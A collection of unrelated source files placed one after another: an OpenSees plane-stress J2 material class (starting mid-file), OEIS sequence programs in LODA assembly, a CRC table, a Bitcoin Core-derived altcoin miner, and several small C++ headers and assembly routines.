(debugFlag ==1){ opserr<<"iteration number:" <<i<<endln; opserr<<"strain is:" <<strain3D<<endln; opserr<<"stress is:"<<stress3D<<endln; opserr<<"tangent is:"<< tangent3D<<endln; } // opserr.precision(16); // opserr<<"iteration number is" <<i; // opserr<<": strain_zz is:" <<strain3D(2)<< ", stress is:"<<stress3D(2)<<endln; i++; } if (( fabs(e33-e33_old)>tol) &&(fabs(stress3D(2))>tol)) { opserr<<"Fatal: PlaneStressSimplifiedJ2::plastIntegrator() can not find e33!"<<endln; exit(-1); } // --------- update the stress and tangent ----- savedStrain33 = e33; // opserr<<"Total iteration number:" <<i<<endln; stress(0) = stress3D(0); stress(1) = stress3D(1); stress(2) = stress3D(3); double D22 = tangent3D(2,2); static Vector D12(3); static Vector D21(3); static Matrix D11(3,3); D11(0,0)=tangent3D(0,0); D11(0,1)=tangent3D(0,1); D11(0,2)=tangent3D(0,3); D11(1,0)=tangent3D(1,0); D11(1,1)=tangent3D(1,1); D11(1,2)=tangent3D(1,3); D11(2,0)=tangent3D(3,0); D11(2,1)=tangent3D(3,1); D11(2,2)=tangent3D(3,3); D12(0) = tangent3D(0,2); D12(1) = tangent3D(1,2); D12(2) = tangent3D(3,2); D21(0) = tangent3D(2,0); D21(1) = tangent3D(2,1); D21(2) = tangent3D(2,3); for( int i=0; i<3; i++) for (int j=0; j<3; j++) theTangent(i,j) = D11(i,j)-1.0/D22*D12(i)*D21(j); if (debugFlag ==1){ opserr<<"Final 2D tangent is:"<< theTangent<<endln; } return 0; }; int PlaneStressSimplifiedJ2::setTrialStrain (const Vector &pStrain){ strain = pStrain; // ----- change to real strain instead of eng. strain // strain[2] /=2.0; be careful! this->plastIntegrator(); return 0; }; int PlaneStressSimplifiedJ2::setTrialStrain(const Vector &v, const Vector &r){ return this->setTrialStrain ( v); }; int PlaneStressSimplifiedJ2::setTrialStrainIncr(const Vector &v){ // ----- change to real strain instead of eng. strain // ---- since all strain in material is the true strain, not eng.strain. strain[0] = Cstrain[0]+v[0]; strain[1] = Cstrain[1]+v[1]; strain[2] = Cstrain[2]+v[2]; // no need to devide by 2.0; this->plastIntegrator(); return 0; }; int PlaneStressSimplifiedJ2::setTrialStrainIncr(const Vector &v, const Vector &r){ return this->setTrialStrainIncr(v); }; // Calculates current tangent stiffness. const Matrix & PlaneStressSimplifiedJ2::getTangent (void){ return theTangent; }; const Matrix & PlaneStressSimplifiedJ2::getInitialTangent (void){ return this->getTangent(); }; const Vector & PlaneStressSimplifiedJ2::getStress (void){ return stress; }; const Vector & PlaneStressSimplifiedJ2::getStrain (void){ return strain; }; const Vector & PlaneStressSimplifiedJ2::getCommittedStress (void){ return Cstress; }; const Vector & PlaneStressSimplifiedJ2::getCommittedStrain (void){ return Cstrain; }; int PlaneStressSimplifiedJ2::commitState (void){ CsavedStrain33 = savedStrain33; Cstress = stress; Cstrain = strain; the3DMaterial->commitState(); //CcumPlastStrainDev = cumPlastStrainDev; return 0; }; int PlaneStressSimplifiedJ2::revertToLastCommit (void){ // -- to be implemented. return 0; }; int PlaneStressSimplifiedJ2::revertToStart(void) { // -- to be implemented. return 0; } NDMaterial * PlaneStressSimplifiedJ2::getCopy (void){ PlaneStressSimplifiedJ2 * theJ2 = new PlaneStressSimplifiedJ2(this->getTag(),this->ndm, *the3DMaterial); return theJ2; }; NDMaterial * PlaneStressSimplifiedJ2::getCopy (const char *type){ if (strcmp(type,"PlaneStress") == 0) { PlaneStressSimplifiedJ2 * theJ2 = new PlaneStressSimplifiedJ2(this->getTag(),this->ndm, *the3DMaterial); return theJ2; } else { return 0; } }; int PlaneStressSimplifiedJ2::sendSelf(int commitTag, Channel &theChannel){ // -- to be implemented. return 0; }; int PlaneStressSimplifiedJ2::recvSelf(int commitTag, Channel &theChannel, FEM_ObjectBroker &theBroker){ // -- to be implemented. return 0; }; Response * PlaneStressSimplifiedJ2::setResponse (const char **argv, int argc, OPS_Stream &s){ if (strcmp(argv[0],"stress") == 0 || strcmp(argv[0],"stresses") == 0) return new MaterialResponse(this, 1, stress); else if (strcmp(argv[0],"strain") == 0 || strcmp(argv[0],"strains") == 0) return new MaterialResponse(this, 2, strain); else if (strcmp(argv[0],"tangent") == 0 || strcmp(argv[0],"Tangent") == 0) return new MaterialResponse(this, 3, theTangent); else if (strcmp(argv[0],"strain33") == 0 || strcmp(argv[0],"Strain33") == 0) return new MaterialResponse(this, 4, savedStrain33 ); else return 0; } int PlaneStressSimplifiedJ2::getResponse (int responseID, Information &matInfo){ switch (responseID) { case -1: return -1; case 1: if (matInfo.theVector != 0) *(matInfo.theVector) =stress; return 0; case 2: if (matInfo.theVector != 0) *(matInfo.theVector) = strain; return 0; case 3: if (matInfo.theMatrix != 0) *(matInfo.theMatrix) = theTangent; return 0; case 4: //if (matInfo.theDouble != 0) matInfo.setDouble (savedStrain33); return 0; } return 0; }; void PlaneStressSimplifiedJ2::Print(OPS_Stream &s, int flag){ // -- to be implemented. return; }; int PlaneStressSimplifiedJ2::setParameter(const char **argv, int argc, Parameter &param){ // -- to be implemented. return 0; }; int PlaneStressSimplifiedJ2::updateParameter(int responseID, Information &eleInformation){ return 0; };
; A047350: Numbers that are congruent to {1, 2, 4} mod 7. ; 1,2,4,8,9,11,15,16,18,22,23,25,29,30,32,36,37,39,43,44,46,50,51,53,57,58,60,64,65,67,71,72,74,78,79,81,85,86,88,92,93,95,99,100,102,106,107,109,113,114,116,120,121,123,127,128,130,134,135,137,141 add $0,2 mov $2,$0 lpb $2,1 add $4,1 lpb $4,1 sub $2,1 add $3,4 mov $1,$3 add $1,$2 sub $1,1 trn $2,1 add $1,$2 sub $1,1 add $3,3 mov $4,2 lpe sub $1,1 add $4,$2 trn $2,1 lpe
;*** ;* $Workfile: crctab.asm $ ;* $Revision: 1.2 $ ;* $Author: Dave Sewell $ ;* $Date: 04 May 1990 9:12:00 $ ;*** TITLE CRC table PAGE 66, 132 COMMENT @ crctab.asm : Alan Butt : May 1, 1989 : Expansion Box Project This module contains the CRC table and related variables that are common to both the serial and parallel communications. @ % .MODEL memmodel, language .DATA PUBLIC C crctab PUBLIC C crc_errors EVEN crctab DW 00000H, 01021H, 02042H, 03063H, 04084H, 050a5H, 060c6H, 070e7H DW 08108H, 09129H, 0a14aH, 0b16bH, 0c18cH, 0d1adH, 0e1ceH, 0f1efH DW 01231H, 00210H, 03273H, 02252H, 052b5H, 04294H, 072f7H, 062d6H DW 09339H, 08318H, 0b37bH, 0a35aH, 0d3bdH, 0c39cH, 0f3ffH, 0e3deH DW 02462H, 03443H, 00420H, 01401H, 064e6H, 074c7H, 044a4H, 05485H DW 0a56aH, 0b54bH, 08528H, 09509H, 0e5eeH, 0f5cfH, 0c5acH, 0d58dH DW 03653H, 02672H, 01611H, 00630H, 076d7H, 066f6H, 05695H, 046b4H DW 0b75bH, 0a77aH, 09719H, 08738H, 0f7dfH, 0e7feH, 0d79dH, 0c7bcH DW 048c4H, 058e5H, 06886H, 078a7H, 00840H, 01861H, 02802H, 03823H DW 0c9ccH, 0d9edH, 0e98eH, 0f9afH, 08948H, 09969H, 0a90aH, 0b92bH DW 05af5H, 04ad4H, 07ab7H, 06a96H, 01a71H, 00a50H, 03a33H, 02a12H DW 0dbfdH, 0cbdcH, 0fbbfH, 0eb9eH, 09b79H, 08b58H, 0bb3bH, 0ab1aH DW 06ca6H, 07c87H, 04ce4H, 05cc5H, 02c22H, 03c03H, 00c60H, 01c41H DW 0edaeH, 0fd8fH, 0cdecH, 0ddcdH, 0ad2aH, 0bd0bH, 08d68H, 09d49H DW 07e97H, 06eb6H, 05ed5H, 04ef4H, 03e13H, 02e32H, 01e51H, 00e70H DW 0ff9fH, 0efbeH, 0dfddH, 0cffcH, 0bf1bH, 0af3aH, 09f59H, 08f78H DW 09188H, 081a9H, 0b1caH, 0a1ebH, 0d10cH, 0c12dH, 0f14eH, 0e16fH DW 01080H, 000a1H, 030c2H, 020e3H, 05004H, 04025H, 07046H, 06067H DW 083b9H, 09398H, 0a3fbH, 0b3daH, 0c33dH, 0d31cH, 0e37fH, 0f35eH DW 002b1H, 01290H, 022f3H, 032d2H, 04235H, 05214H, 06277H, 07256H DW 0b5eaH, 0a5cbH, 095a8H, 08589H, 0f56eH, 0e54fH, 0d52cH, 0c50dH DW 034e2H, 024c3H, 014a0H, 00481H, 07466H, 06447H, 05424H, 04405H DW 0a7dbH, 0b7faH, 08799H, 097b8H, 0e75fH, 0f77eH, 0c71dH, 0d73cH DW 026d3H, 036f2H, 00691H, 016b0H, 06657H, 07676H, 04615H, 05634H DW 0d94cH, 0c96dH, 0f90eH, 0e92fH, 099c8H, 089e9H, 0b98aH, 0a9abH DW 05844H, 04865H, 07806H, 06827H, 018c0H, 008e1H, 03882H, 028a3H DW 0cb7dH, 0db5cH, 0eb3fH, 0fb1eH, 08bf9H, 09bd8H, 0abbbH, 0bb9aH DW 04a75H, 05a54H, 06a37H, 07a16H, 00af1H, 01ad0H, 02ab3H, 03a92H DW 0fd2eH, 0ed0fH, 0dd6cH, 0cd4dH, 0bdaaH, 0ad8bH, 09de8H, 08dc9H DW 07c26H, 06c07H, 05c64H, 04c45H, 03ca2H, 02c83H, 01ce0H, 00cc1H DW 0ef1fH, 0ff3eH, 0cf5dH, 0df7cH, 0af9bH, 0bfbaH, 08fd9H, 09ff8H DW 06e17H, 07e36H, 04e55H, 05e74H, 02e93H, 03eb2H, 00ed1H, 01ef0H crc_errors dw 0 END
; A004636: Cubes written in base 6. ; 1,12,43,144,325,1000,1331,2212,3213,4344,10055,12000,14101,20412,23343,30544,34425,43000,51431,101012,110513,121144,132155,144000,200201,213212,231043,245344,304525,325000,345531,411412,434213,501544,530255,1000000,1030301,1102012,1134343,1212144,1251025,1331000,1412031,1454212,1541513,2030344,2120355,2212000,2304401,2402412,2502043,3002544,3105125,3213000,3322131,3433012,3545213,4103144,4222455,4344000,4510501,5035212,5205343,5341344,5515225,10055000,10240231,10423412,11012513,11203544,11400555,12000000,12201001,12404012,13013043,13224144,13441325,14101000,14322331,14550212,15220213,15452344,20131055,20412000,21055101,21344412,22040343,22334544,23035425,23343000,24052431,24405012,25123513,25445144,30213155,30544000,31321201,32101212,32444043,33233344 add $0,1 pow $0,3 seq $0,7092 ; Numbers in base 6.
// Copyright (c) 2009-2010 Satoshi Nakamoto // Copyright (c) 2009-2014 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "miner.h" #include "amount.h" #include "primitives/transaction.h" #include "hash.h" #include "main.h" #include "net.h" #include "pow.h" #include "timedata.h" #include "util.h" #include "utilmoneystr.h" #ifdef ENABLE_WALLET #include "wallet.h" #endif #include <boost/thread.hpp> #include <boost/tuple/tuple.hpp> using namespace std; ////////////////////////////////////////////////////////////////////////////// // // BitcoinMiner // // // Unconfirmed transactions in the memory pool often depend on other // transactions in the memory pool. When we select transactions from the // pool, we select by highest priority or fee rate, so we might consider // transactions that depend on transactions that aren't yet in the block. // The COrphan class keeps track of these 'temporary orphans' while // CreateBlock is figuring out which transactions to include. // class COrphan { public: const CTransaction* ptx; set<uint256> setDependsOn; CFeeRate feeRate; double dPriority; COrphan(const CTransaction* ptxIn) : ptx(ptxIn), feeRate(0), dPriority(0) { } }; uint64_t nLastBlockTx = 0; uint64_t nLastBlockSize = 0; // We want to sort transactions by priority and fee rate, so: typedef boost::tuple<double, CFeeRate, const CTransaction*> TxPriority; class TxPriorityCompare { bool byFee; public: TxPriorityCompare(bool _byFee) : byFee(_byFee) { } bool operator()(const TxPriority& a, const TxPriority& b) { if (byFee) { if (a.get<1>() == b.get<1>()) return a.get<0>() < b.get<0>(); return a.get<1>() < b.get<1>(); } else { if (a.get<0>() == b.get<0>()) return a.get<1>() < b.get<1>(); return a.get<0>() < b.get<0>(); } } }; void UpdateTime(CBlockHeader* pblock, const CBlockIndex* pindexPrev) { pblock->nTime = std::max(pindexPrev->GetMedianTimePast()+1, GetAdjustedTime()); // Updating time can change work required on testnet: if (Params().AllowMinDifficultyBlocks()) pblock->nBits = GetNextWorkRequired(pindexPrev, pblock); } CBlockTemplate* CreateNewBlock(const CScript& scriptPubKeyIn) { // Create new block auto_ptr<CBlockTemplate> pblocktemplate(new CBlockTemplate()); if(!pblocktemplate.get()) return NULL; CBlock *pblock = &pblocktemplate->block; // pointer for convenience // -regtest only: allow overriding block.nVersion with // -blockversion=N to test forking scenarios if (Params().MineBlocksOnDemand()) pblock->nVersion = GetArg("-blockversion", pblock->nVersion); // Create coinbase tx CMutableTransaction txNew; txNew.vin.resize(1); txNew.vin[0].prevout.SetNull(); txNew.vout.resize(1); txNew.vout[0].scriptPubKey = scriptPubKeyIn; // Add dummy coinbase tx as first transaction pblock->vtx.push_back(CTransaction()); pblocktemplate->vTxFees.push_back(-1); // updated at end pblocktemplate->vTxSigOps.push_back(-1); // updated at end // Largest block you're willing to create: unsigned int nBlockMaxSize = GetArg("-blockmaxsize", DEFAULT_BLOCK_MAX_SIZE); // Limit to betweeen 1K and MAX_BLOCK_SIZE-1K for sanity: nBlockMaxSize = std::max((unsigned int)1000, std::min((unsigned int)(MAX_BLOCK_SIZE-1000), nBlockMaxSize)); // How much of the block should be dedicated to high-priority transactions, // included regardless of the fees they pay unsigned int nBlockPrioritySize = GetArg("-blockprioritysize", DEFAULT_BLOCK_PRIORITY_SIZE); nBlockPrioritySize = std::min(nBlockMaxSize, nBlockPrioritySize); // Minimum block size you want to create; block will be filled with free transactions // until there are no more or the block reaches this size: unsigned int nBlockMinSize = GetArg("-blockminsize", DEFAULT_BLOCK_MIN_SIZE); nBlockMinSize = std::min(nBlockMaxSize, nBlockMinSize); // Collect memory pool transactions into the block CAmount nFees = 0; { LOCK2(cs_main, mempool.cs); CBlockIndex* pindexPrev = chainActive.Tip(); const int nHeight = pindexPrev->nHeight + 1; CCoinsViewCache view(pcoinsTip); // Priority order to process transactions list<COrphan> vOrphan; // list memory doesn't move map<uint256, vector<COrphan*> > mapDependers; bool fPrintPriority = GetBoolArg("-printpriority", false); // This vector will be sorted into a priority queue: vector<TxPriority> vecPriority; vecPriority.reserve(mempool.mapTx.size()); for (map<uint256, CTxMemPoolEntry>::iterator mi = mempool.mapTx.begin(); mi != mempool.mapTx.end(); ++mi) { const CTransaction& tx = mi->second.GetTx(); if (tx.IsCoinBase() || !IsFinalTx(tx, nHeight)) continue; COrphan* porphan = NULL; double dPriority = 0; CAmount nTotalIn = 0; bool fMissingInputs = false; BOOST_FOREACH(const CTxIn& txin, tx.vin) { // Read prev transaction if (!view.HaveCoins(txin.prevout.hash)) { // This should never happen; all transactions in the memory // pool should connect to either transactions in the chain // or other transactions in the memory pool. if (!mempool.mapTx.count(txin.prevout.hash)) { LogPrintf("ERROR: mempool transaction missing input\n"); if (fDebug) assert("mempool transaction missing input" == 0); fMissingInputs = true; if (porphan) vOrphan.pop_back(); break; } // Has to wait for dependencies if (!porphan) { // Use list for automatic deletion vOrphan.push_back(COrphan(&tx)); porphan = &vOrphan.back(); } mapDependers[txin.prevout.hash].push_back(porphan); porphan->setDependsOn.insert(txin.prevout.hash); nTotalIn += mempool.mapTx[txin.prevout.hash].GetTx().vout[txin.prevout.n].nValue; continue; } const CCoins* coins = view.AccessCoins(txin.prevout.hash); assert(coins); CAmount nValueIn = coins->vout[txin.prevout.n].nValue; nTotalIn += nValueIn; int nConf = nHeight - coins->nHeight; dPriority += (double)nValueIn * nConf; } if (fMissingInputs) continue; // Priority is sum(valuein * age) / modified_txsize unsigned int nTxSize = ::GetSerializeSize(tx, SER_NETWORK, PROTOCOL_VERSION); dPriority = tx.ComputePriority(dPriority, nTxSize); uint256 hash = tx.GetHash(); mempool.ApplyDeltas(hash, dPriority, nTotalIn); CFeeRate feeRate(nTotalIn-tx.GetValueOut(), nTxSize); if (porphan) { porphan->dPriority = dPriority; porphan->feeRate = feeRate; } else vecPriority.push_back(TxPriority(dPriority, feeRate, &mi->second.GetTx())); } // Collect transactions into block uint64_t nBlockSize = 1000; uint64_t nBlockTx = 0; int nBlockSigOps = 100; bool fSortedByFee = (nBlockPrioritySize <= 0); TxPriorityCompare comparer(fSortedByFee); std::make_heap(vecPriority.begin(), vecPriority.end(), comparer); while (!vecPriority.empty()) { // Take highest priority transaction off the priority queue: double dPriority = vecPriority.front().get<0>(); CFeeRate feeRate = vecPriority.front().get<1>(); const CTransaction& tx = *(vecPriority.front().get<2>()); std::pop_heap(vecPriority.begin(), vecPriority.end(), comparer); vecPriority.pop_back(); // Size limits unsigned int nTxSize = ::GetSerializeSize(tx, SER_NETWORK, PROTOCOL_VERSION); if (nBlockSize + nTxSize >= nBlockMaxSize) continue; // Legacy limits on sigOps: unsigned int nTxSigOps = GetLegacySigOpCount(tx); if (nBlockSigOps + nTxSigOps >= MAX_BLOCK_SIGOPS) continue; // Skip free transactions if we're past the minimum block size: const uint256& hash = tx.GetHash(); double dPriorityDelta = 0; CAmount nFeeDelta = 0; mempool.ApplyDeltas(hash, dPriorityDelta, nFeeDelta); if (fSortedByFee && (dPriorityDelta <= 0) && (nFeeDelta <= 0) && (feeRate < ::minRelayTxFee) && (nBlockSize + nTxSize >= nBlockMinSize)) continue; // Prioritise by fee once past the priority size or we run out of high-priority // transactions: if (!fSortedByFee && ((nBlockSize + nTxSize >= nBlockPrioritySize) || !AllowFree(dPriority))) { fSortedByFee = true; comparer = TxPriorityCompare(fSortedByFee); std::make_heap(vecPriority.begin(), vecPriority.end(), comparer); } if (!view.HaveInputs(tx)) continue; CAmount nTxFees = view.GetValueIn(tx)-tx.GetValueOut(); nTxSigOps += GetP2SHSigOpCount(tx, view); if (nBlockSigOps + nTxSigOps >= MAX_BLOCK_SIGOPS) continue; // Note that flags: we don't want to set mempool/IsStandard() // policy here, but we still have to ensure that the block we // create only contains transactions that are valid in new blocks. CValidationState state; if (!CheckInputs(tx, state, view, true, MANDATORY_SCRIPT_VERIFY_FLAGS, true)) continue; UpdateCoins(tx, state, view, nHeight); // Added pblock->vtx.push_back(tx); pblocktemplate->vTxFees.push_back(nTxFees); pblocktemplate->vTxSigOps.push_back(nTxSigOps); nBlockSize += nTxSize; ++nBlockTx; nBlockSigOps += nTxSigOps; nFees += nTxFees; if (fPrintPriority) { LogPrintf("priority %.1f fee %s txid %s\n", dPriority, feeRate.ToString(), tx.GetHash().ToString()); } // Add transactions that depend on this one to the priority queue if (mapDependers.count(hash)) { BOOST_FOREACH(COrphan* porphan, mapDependers[hash]) { if (!porphan->setDependsOn.empty()) { porphan->setDependsOn.erase(hash); if (porphan->setDependsOn.empty()) { vecPriority.push_back(TxPriority(porphan->dPriority, porphan->feeRate, porphan->ptx)); std::push_heap(vecPriority.begin(), vecPriority.end(), comparer); } } } } } nLastBlockTx = nBlockTx; nLastBlockSize = nBlockSize; LogPrintf("CreateNewBlock(): total size %u\n", nBlockSize); // Compute final coinbase transaction. txNew.vout[0].nValue = GetBlockValue(nHeight, nFees); txNew.vin[0].scriptSig = CScript() << nHeight << OP_0; pblock->vtx[0] = txNew; pblocktemplate->vTxFees[0] = -nFees; // Fill in header pblock->hashPrevBlock = pindexPrev->GetBlockHash(); UpdateTime(pblock, pindexPrev); pblock->nBits = GetNextWorkRequired(pindexPrev, pblock); pblock->nNonce = 0; pblocktemplate->vTxSigOps[0] = GetLegacySigOpCount(pblock->vtx[0]); CValidationState state; if (!TestBlockValidity(state, *pblock, pindexPrev, false, false)) throw std::runtime_error("CreateNewBlock() : TestBlockValidity failed"); } return pblocktemplate.release(); } void IncrementExtraNonce(CBlock* pblock, CBlockIndex* pindexPrev, unsigned int& nExtraNonce) { // Update nExtraNonce static uint256 hashPrevBlock; if (hashPrevBlock != pblock->hashPrevBlock) { nExtraNonce = 0; hashPrevBlock = pblock->hashPrevBlock; } ++nExtraNonce; unsigned int nHeight = pindexPrev->nHeight+1; // Height first in coinbase required for block.version=2 CMutableTransaction txCoinbase(pblock->vtx[0]); txCoinbase.vin[0].scriptSig = (CScript() << nHeight << CScriptNum(nExtraNonce)) + COINBASE_FLAGS; assert(txCoinbase.vin[0].scriptSig.size() <= 100); pblock->vtx[0] = txCoinbase; pblock->hashMerkleRoot = pblock->BuildMerkleTree(); } #ifdef ENABLE_WALLET ////////////////////////////////////////////////////////////////////////////// // // Internal miner // // // ScanHash scans nonces looking for a hash with at least some zero bits. // The nonce is usually preserved between calls, but periodically or if the // nonce is 0xffff0000 or above, the block is rebuilt and nNonce starts over at // zero. // bool static ScanHash(const CBlockHeader *pblock, uint32_t& nNonce, uint256 *phash) { // Write the first 76 bytes of the block header to a double-SHA256 state. //CHash256 hasher; //CDataStream ss(SER_NETWORK, PROTOCOL_VERSION); //ss << *pblock; //assert(ss.size() == 80); //hasher.Write((unsigned char*)&ss[0], 76); while (true) { nNonce++; // Write the last 4 bytes of the block header (the nonce) to a copy of // the double-SHA256 state, and compute the result. //CHash256(hasher).Write((unsigned char*)&nNonce, 4).Finalize((unsigned char*)phash); *phash = pblock->ComputePowHash(nNonce); // Return the nonce if the hash has at least some zero bits, // caller will check if it has enough to reach the target if (((uint16_t*)phash)[15] == 0) return true; // If nothing found after trying for a while, return -1 if ((nNonce & 0xfff) == 0) return false; } } CBlockTemplate* CreateNewBlockWithKey(CReserveKey& reservekey) { CPubKey pubkey; if (!reservekey.GetReservedKey(pubkey)) return NULL; CScript scriptPubKey = CScript() << ToByteVector(pubkey) << OP_CHECKSIG; return CreateNewBlock(scriptPubKey); } static bool ProcessBlockFound(CBlock* pblock, CWallet& wallet, CReserveKey& reservekey) { LogPrintf("%s\n", pblock->ToString()); LogPrintf("generated %s\n", FormatMoney(pblock->vtx[0].vout[0].nValue)); // Found a solution { LOCK(cs_main); if (pblock->hashPrevBlock != chainActive.Tip()->GetBlockHash()) return error("BitcoinMiner : generated block is stale"); } // Remove key from key pool reservekey.KeepKey(); // Track how many getdata requests this block gets { LOCK(wallet.cs_wallet); wallet.mapRequestCount[pblock->GetHash()] = 0; } // Process this block the same as if we had received it from another node CValidationState state; if (!ProcessNewBlock(state, NULL, pblock)) return error("BitcoinMiner : ProcessNewBlock, block not accepted"); return true; } void static BitcoinMiner(CWallet *pwallet) { LogPrintf("MCYCoinMiner started\n"); SetThreadPriority(THREAD_PRIORITY_LOWEST); RenameThread("MCYCoin-miner"); // Each thread has its own key and counter CReserveKey reservekey(pwallet); unsigned int nExtraNonce = 0; try { while (true) { if (Params().MiningRequiresPeers()) { // Busy-wait for the network to come online so we don't waste time mining // on an obsolete chain. In regtest mode we expect to fly solo. while (vNodes.empty()) MilliSleep(1000); } // // Create new block // unsigned int nTransactionsUpdatedLast = mempool.GetTransactionsUpdated(); CBlockIndex* pindexPrev = chainActive.Tip(); auto_ptr<CBlockTemplate> pblocktemplate(CreateNewBlockWithKey(reservekey)); if (!pblocktemplate.get()) { LogPrintf("Error in MCYCoinMiner: Keypool ran out, please call keypoolrefill before restarting the mining thread\n"); return; } CBlock *pblock = &pblocktemplate->block; IncrementExtraNonce(pblock, pindexPrev, nExtraNonce); LogPrintf("Running MCYCoinMiner with %u transactions in block (%u bytes)\n", pblock->vtx.size(), ::GetSerializeSize(*pblock, SER_NETWORK, PROTOCOL_VERSION)); // // Search // int64_t nStart = GetTime(); arith_uint256 hashTarget = arith_uint256().SetCompact(pblock->nBits); uint256 hash; uint32_t nNonce = 0; while (true) { // Check if something found if (ScanHash(pblock, nNonce, &hash)) { if (UintToArith256(hash) <= hashTarget) { // Found a solution pblock->nNonce = nNonce; assert(hash == pblock->GetHash()); SetThreadPriority(THREAD_PRIORITY_NORMAL); LogPrintf("MCYCoinMiner:\n"); LogPrintf("proof-of-work found \n hash: %s \ntarget: %s\n", hash.GetHex(), hashTarget.GetHex()); ProcessBlockFound(pblock, *pwallet, reservekey); SetThreadPriority(THREAD_PRIORITY_LOWEST); // In regression test mode, stop mining after a block is found. if (Params().MineBlocksOnDemand()) throw boost::thread_interrupted(); break; } } // Check for stop or if block needs to be rebuilt boost::this_thread::interruption_point(); // Regtest mode doesn't require peers if (vNodes.empty() && Params().MiningRequiresPeers()) break; if (nNonce >= 0xffff0000) break; if (mempool.GetTransactionsUpdated() != nTransactionsUpdatedLast && GetTime() - nStart > 60) break; if (pindexPrev != chainActive.Tip()) break; // Update nTime every few seconds UpdateTime(pblock, pindexPrev); if (Params().AllowMinDifficultyBlocks()) { // Changing pblock->nTime can change work required on testnet: hashTarget.SetCompact(pblock->nBits); } } } } catch (const boost::thread_interrupted&) { LogPrintf("MCYCoinMiner terminated\n"); throw; } } void GenerateBitcoins(bool fGenerate, CWallet* pwallet, int nThreads) { static boost::thread_group* minerThreads = NULL; if (nThreads < 0) { // In regtest threads defaults to 1 if (Params().DefaultMinerThreads()) nThreads = Params().DefaultMinerThreads(); else nThreads = boost::thread::hardware_concurrency(); } if (minerThreads != NULL) { minerThreads->interrupt_all(); delete minerThreads; minerThreads = NULL; } if (nThreads == 0 || !fGenerate) return; minerThreads = new boost::thread_group(); for (int i = 0; i < nThreads; i++) minerThreads->create_thread(boost::bind(&BitcoinMiner, pwallet)); } #endif // ENABLE_WALLET
; int im2_remove_generic_callback(uint8_t vector, void *callback) SECTION code_z80 PUBLIC im2_remove_generic_callback EXTERN asm_im2_remove_generic_callback im2_remove_generic_callback: pop af pop de pop hl push hl push de push af jp asm_im2_remove_generic_callback
; A049086: Number of tilings of 4 X 3n rectangle by 1 X 3 rectangles. Rotations and reflections are considered distinct tilings. ; 1,3,13,57,249,1087,4745,20713,90417,394691,1722917,7520929,32830585,143313055,625594449,2730863665,11920848033,52037243619,227154537661,991581805481,4328482658041,18894822411423,82480245888473,360045244866137,1571680309076689,6860746056673507 mov $1,1 lpb $0 sub $0,1 add $2,$1 add $3,$1 add $1,$3 add $1,$3 add $3,$2 lpe
/** * @file * Declares the scoped file resource for managing FILE pointers. */ #ifndef FACTER_UTIL_SCOPED_FILE_HPP_ #define FACTER_UTIL_SCOPED_FILE_HPP_ #include "scoped_resource.hpp" #include <string> #include <cstdio> namespace facter { namespace util { /** * Represents a scoped file. * Automatically closes the file when it goes out of scope. */ struct scoped_file : scoped_resource<std::FILE*> { /** * Constructs a scoped_file. * @param path The path to the file. * @param mode The open mode. */ explicit scoped_file(std::string const& path, std::string const& mode); /** * Constructs a scoped_file. * @param file The existing file pointer. */ explicit scoped_file(std::FILE* file); private: static void close(std::FILE* file); }; }} // namespace facter::util #endif // FACTER_UTIL_SCOPED_FILE_HPP_
/* * Automatically Generated from Mathematica. * Thu 4 Nov 2021 11:04:01 GMT-04:00 */ #ifndef FRIGHTTOEBOTTOM_VEC_CASSIE_HH #define FRIGHTTOEBOTTOM_VEC_CASSIE_HH #ifdef MATLAB_MEX_FILE // No need for external definitions #else // MATLAB_MEX_FILE #include "math2mat.hpp" #include "mdefs.hpp" namespace RightStance { void fRightToeBottom_vec_cassie_raw(double *p_output1, const double *var1,const double *var2); inline void fRightToeBottom_vec_cassie(Eigen::MatrixXd &p_output1, const Eigen::VectorXd &var1,const Eigen::VectorXd &var2) { // Check // - Inputs assert_size_matrix(var1, 20, 1); assert_size_matrix(var2, 5, 1); // - Outputs assert_size_matrix(p_output1, 20, 1); // set zero the matrix p_output1.setZero(); // Call Subroutine with raw data fRightToeBottom_vec_cassie_raw(p_output1.data(), var1.data(),var2.data()); } } #endif // MATLAB_MEX_FILE #endif // FRIGHTTOEBOTTOM_VEC_CASSIE_HH
;@DOES Free a block of memory returned by sys_Malloc ;@INPUT HL = memory to free ;@DESTROYS AF,DE sys_Free: dec hl dec hl dec hl ld de,(hl) push de ld de,0 ld (hl),de pop de inc hl inc hl inc hl ld (hl),de ret
#pragma once #include <RmlUi/Core/FileInterface.h> #include "VirtualFileSystem.hpp" namespace RavEngine{ class VFSInterface : public Rml::FileInterface{ private: struct VFShandle{ RavEngine::Vector<uint8_t> filedata; long offset = 0; inline size_t size_bytes() const{ return filedata.size() * sizeof(decltype(filedata)::value_type); } }; public: // Opens a file. Rml::FileHandle Open(const Rml::String& path) override; // Closes a previously opened file. void Close(Rml::FileHandle file) override; // Reads data from a previously opened file. size_t Read(void* buffer, size_t size, Rml::FileHandle file) override; // Seeks to a point in a previously opened file. bool Seek(Rml::FileHandle file, long offset, int origin) override; // Returns the current position of the file pointer. size_t Tell(Rml::FileHandle file) override; }; }
; A028146: Expansion of 1/((1-4x)(1-7x)(1-8x)(1-10x)). ; Submitted by Jon Maiga ; 1,29,535,8025,106911,1320249,15480655,174931625,1923680671,20725530969,219822814575,2303376354825,23907223188031,246285893877689,2522150397345295,25706911853867625,261029919360032991 mov $1,1 mov $2,$0 mov $3,$0 lpb $2 mov $0,$3 sub $2,1 sub $0,$2 seq $0,20838 ; Expansion of 1/((1-7x)(1-8x)(1-10x)). sub $0,$1 mul $1,5 add $1,$0 lpe mov $0,$1
